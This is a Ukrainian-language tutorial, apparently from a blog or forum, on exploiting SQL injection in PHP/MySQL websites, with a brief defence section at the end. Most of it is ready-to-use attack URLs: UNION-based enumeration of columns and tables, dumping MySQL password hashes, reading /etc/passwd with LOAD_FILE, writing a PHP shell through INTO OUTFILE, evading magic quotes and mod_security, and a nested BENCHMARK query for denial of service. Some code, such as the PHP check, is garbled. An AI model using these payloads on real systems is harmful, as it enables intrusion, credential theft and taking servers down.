SQL injection — дефект, що виникає як наслідок недостатньої перевірки прийнятих від користувача значень, в скрипті або програмі. Я буду розглядати ін’єкції в MySQL базі даних. Ця база даних є однією з найпоширеніших. Якщо не обумовлено окремо, то вважається, mysql ін’єкція можлива в php скрипт.

Виявлення наявності SQL ін’єкції.

Найчастіше, про наявність SQL ін’єкції можуть сказати помилки, які явно вказують, що сталася помилка в sql запиті. У той же час про наявність помилки в SQL запиті можна судити і за непрямими ознаками.

Для перевірки, повністю фільтрується деякий параметр чи ні, передаємо дещо змінені значення цього параметра. Наприклад, замість site/test.php?id=12 передаємо.

site/test.php?id=12′

site/test.php?id=aaa

site/test.php?id=13-1

Якщо останній запит видає сторінку, аналогічну, як і site/test.php?id=12, це в більшості випадків може однозначно свідчити про наявність SQL ін’єкції не фільтрованому цілому параметрі.

Аналіз БД MySQL через ін’єкцію.

І так, припустимо нам відомо про недостатню фільтрації параметра id в скрипті site/test.php?id=12

Наявність докладних повідомлень про помилки, з текстом SQL запиту, в якому сталася помилка зведе складність експлуатації SQL ін’єкції до мінімуму. Однак, багато чого можна зробити навіть якщо повідомлення про помилку не виводяться взагалі.

Слід прийняти до уваги той факт, що навіть якщо текст помилки не виводитися, можна все одно однозначно судити про те, що сталася помилка, чи ні (наприклад, запит повернула пустий результат).

Зокрема, можлива ситуації, коли при помилку, повертається код відповіді 500, або редирект на головну сторінку, у той час як при порожньому результаті запиту буде повернено порожній сторінка.

Для того, щоб виявити ці другорядні ознаки, слід скласти http запити, про які відомо, що приведе до правильного (але повертає порожній висновок) SQL-запиту, і який призведе до невірного SQL-запиту. Наприклад, при фільтрованому параметрі id

site/test.php?id=99999, ймовірно, буде повернуто порожній sql запит, в той час, як

site/test.php?id=99999′ повинен породити помилку.

Тепер, знаючи як відрізнити помилковий запит від порожнього, починаємо послідовно отримувати інформацію про запит та базі даних.

Розглянемо випадок, коли ін’єкція відбувається після where. Якщо ми розглядаємо MySQL базу даних, отримання інформації з бази даних може бути можливим тільки, якщо сервер має версію 4.*, ті є можливість вставити в запит union

1) кількість полів між select і where

Пробуємо послідовно, поки не отримаємо вірний запит:

site/test.php?id=99999+union+select+null/*

site/test.php?id=99999+union+select+null,null/*

більш того, якщо є можливість відокремити невірний запит від возвратившего порожній результат, можна зробити так:

site/test.php?id=12+union+select+null/*

site/test.php?id=12+union+select+null,null/*

Для цього, нам достатньо вміти відокремлювати правильний запит від неправильного, а це можливо завжди, якщо є факт наявності SQL ін’єкції.

Після того, як ми отримаємо правильний запит, кількість null, буде дорівнює кількості полів між select і where

2) номер стовпця з висновком. Нам знадобиться знати, у якому за рахунком стовпці відбувається виведення на сторінку.

При цьому, якщо виводитися на сторінку кілька параметрів, то краще знайти той, який, як здається, має найбільший розмір типу даних (text найкраще), як наприклад, опис товару, текст статті і тд. Шукаємо його:

site/test.php?id=9999+union+select+’test’,null,null/*

site/test.php?id=9999+union+select+null,’test’,null/*

І до тих пір, поки не побачимо слово test в потрібному нам місці.

Слід звернути увагу, що в цьому випадку один з подібних запитів обов’язково поверне непорожнє значення.

Тут можна наткнутися на підводний камінь: в скрипті, можливо є перевірка на не порожнечу одного з параметрів (наприклад, id) тут доведеться скористатися властивістю MySQL, числовий тип може бути приведений до будь-якого типу даних, без виникнення помилки, причому так, що збереже своє значення.

site/test.php?id=9999+union+select+1,2,3/*

Цей же фокус пройде і там, де лапки екрануються.

Відкриття коментаря додана для того, щоб відкинути, іншу частину запиту, якщо вона є. MySQL нормально реагує на незакритий коментар.

3) імена таблиць

Тепер можна перебирати імена таблиць.

site/test.php?id=12+union+select+null,null,null+from+table1/*

Правильні запити будуть відповідати існуючим іменами таблиць. Напевно, цікаво буде перевірити на існування таблиці users, passwords, regusers і тд і тп.

4)системна інформація

у нас вже достатньо інформації, щоб скласти такий запит.

site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user/*

У разі, якщо є права на вибір з бази даних mysql, то цей запит поверне нам хеш пароля, який в більшості випадків легко расшифруется. Якщо виводитися тільки один рядок запиту (наприклад, замість тіла статті), то можна пересуватися по рядках

site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0,1/*

site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1,1/*

Крім того, можна дізнатися багато цікавого:

site/test.php?id=9999+union+select+null,DATABASE(),null/*

site/test.php?id=9999+union+select+null,USER(),null/*

site/test.php?id=9999+union+select+null,VERSION(),null/*

5) назви стовпців в таблиці

Їх аналогічно, можна перебрати: site/test.php?id=9999+union+select+null,row1,null+from+table1/* і тд.

текст файлів через MySQL ін’єкцію.

Якщо користувач, під яким здійснюється доступ до бд, має права file_priv, то можна отримати текст довільного файлу

site/test.php?id=9999+union+select+null,LOAD_FILE(‘/etc/passwd’),null/*

запис файлів у веб директорію (php shell).

Як показала практика, якщо ми маємо права file_priv, директорію, доступну на запис для всіх користувачів, доступну крім того з web, (іноді, директорії upload, banners і тд.), а так само знаємо ім’я хоча б однієї таблиці mysql.user, наприклад зійде, якщо є доступ до mysql базі даних), то можна вивантажити довільний файл на сервер використовуючи ін’єкцію подібного типу.

site/test.php?id=9999+union+select+null,”,null+from+table1+into+outfile+’/usr/local/site/www/banners/cmd.php’/*

При цьому конструкція from table1 обов’язкове.

Якщо крім того, на сайті є уразливість, що дозволяє виконувати довільні файли на сервері (include(“/path/$file.php”)), то, в будь-якому випадку можна закачати php shell, наприклад в папку /tmp/, і потім підчепити цей файл звідти за допомогою вразливості в include.

ін’єкція після limit.

Досить частини можливість SQL ін’єкції виникає всередині параметра, що передається до limit. Це може бути номер сторінки і тд і тп.

Практика показує, що все вищесказане може бути застосовано і в цьому випадку.

MySQL коректно реагує на запити типу:

Select… limit 1,2 union select….

Select… limit 1 union select….

Якщо необхідно, щоб перший підзапит повернула пустий результат, необхідно штучно задати великі зміщення для першого запити:

Select… limit 99999,1 union select… Або, Select… limit 1,0 union select….

деякі «підводні камені».

1) Magic quotes

Найбільш частим підводним каменем може виявитися включення магічних лапок у конфігурації php. У разі строкових параметрів взагалі це дозволить уникнути можливості SQL ін’єкції, а у разі цілий (десяткових) параметрів, таких запитах неможливо буде використовувати лапки, а отже і рядки.

Частково вирішити цю проблему допоможе нам функція char, яка повертає рядок за кодами символів. Наприклад

site/test.php?id=9999+union+select+char(116,101,115,116),null,null/*

site/test.php?id=9999+union+select+char(116,101,115,116),null,null+from_table1/*

site/test.php?id=9999+union+select+null,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),null/*

Єдине обмеження. У разі, якщо хочеться зробити into outfile, а як ім’я файлу, необхідно передати ім’я файлу в лапках. into outfile char(…) видає помилку.

2) Mod_security.

Здавалося б, цей модуль веб сервера apache, унеможливлює експлуатацію уразливості SQL ін’єкції. Проте, при деяких конфігураціях PHP і цього модуля, можна провести атаку прозоро для цього модуля.

Конфігурація за замовчуванням модуля mod_security не фільтрує значення, передані як cookie. Одночасно, в деяких випадках, а також в деяких конфігураціях за замовчуванням php, змінні cookie реєструються автоматично.

Таким чином, зловмисні значення змінних, абсолютно прозоро для mod_security можна передати як cookie значення.

DOS в MySQL ін’єкції.

Якщо немає можливості застосування union у запиті, наприклад, MySQL має версію 3.*, то, тим не менш, ін’єкцію можна експлуатувати, наприклад, для того, щоб змусити сервер бази даних вичерпати всі свої ресурси.

Для цього будемо використовувати функцію BENCHMARK, яка повторює виконання вираз expr задану кількість разів, вказаний в аргументі count. В якості основного вираження візьмемо функцію, яка сама по собі вимагає деякого часу. Наприклад, md5(). В якості рядка візьмемо current_date, щоб рядок не містила лапок. Функції BENCHMARK можна вкладати один в одного. І так, складаємо запит:

site/test.php?id=BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date)))

1000000 запитів md5 виконуються (в залежності від потужності сервера), приблизно 5 секунд, 10000000 будуть виконуватися близько 50 секунд. Вкладений benchmark буде виконуватися дуже довго, на будь-якому сервері. Тепер залишиться відправляти до декількох десятків подібних http запитів в секунду, щоб ввести сервер в безпробудний даун.

інші типу MySQL ін’єкції.

Фільтрувати цілі значення для цілих параметрів і лапки для строкових параметрів часом недостатньо. Іноді до незапланируемой функціональності може призвести застосування % та _ спеціальних символів всередині like запиту. Наприклад:

mysql_query(«select id from users where password like ‘».addslashes($password).”‘ and user like ‘”.addslashes($user).”‘”);

у цьому випадку підійде будь-якому користувачеві пароль %

apache mod_rewrite

У деяких випадках, СКЛ ін’єкція можлива навіть у параметрі, який перетворюється методами mod_rewrite модуля apache, до GET параметру скрипта.

Наприклад, скрипти типу /news/127.html перетворюються до /news/news.php?id=127 наступним правилом: RewriteRule ^/news/(.*).html$ “/news/news.php?id=$1”

Це дозволить передати такі значення параметра скрипту. Так, наприклад /news/128-1.html

Якщо виводяться докладні повідомлення про помилки, то можна відразу дізнатися адресу скрипу, і далі, підібравши параметр працювати вже з ним. Якщо ж ні, то можна досліджувати вразливість, прямо редагуючи ім’я файлу.

коротко про захист.

Для захисту від всього вищесказаного досить дотримуватися декількох простих правил.

1) для цілих і дробових величин, перед їх використанням у запиті досить привести величину до потрібного типу.

$id=(int)$id; $total=(float)$total;

Замість цього можна вставити систему спостереження за тестуванням на SQL ін’єкцію.

if((string)$id(string)(int)$id) {

//пишемо в лог про спробу

die(‘ops’);

}

2) для строкових параметрів, які не використовуються в like, regexp і тд, экранируем лапки.

$str=addslashes($str);

або, краще,

mysql_escape_string($str)

3) у рядках, які передбачається використовувати всередині like, regexp і тд, необхідно так само заекранувати спеціальні символи, що застосовуються в цих операторах, якщо це необхідно. В іншому випадку, можна задокументувати використання цих символів.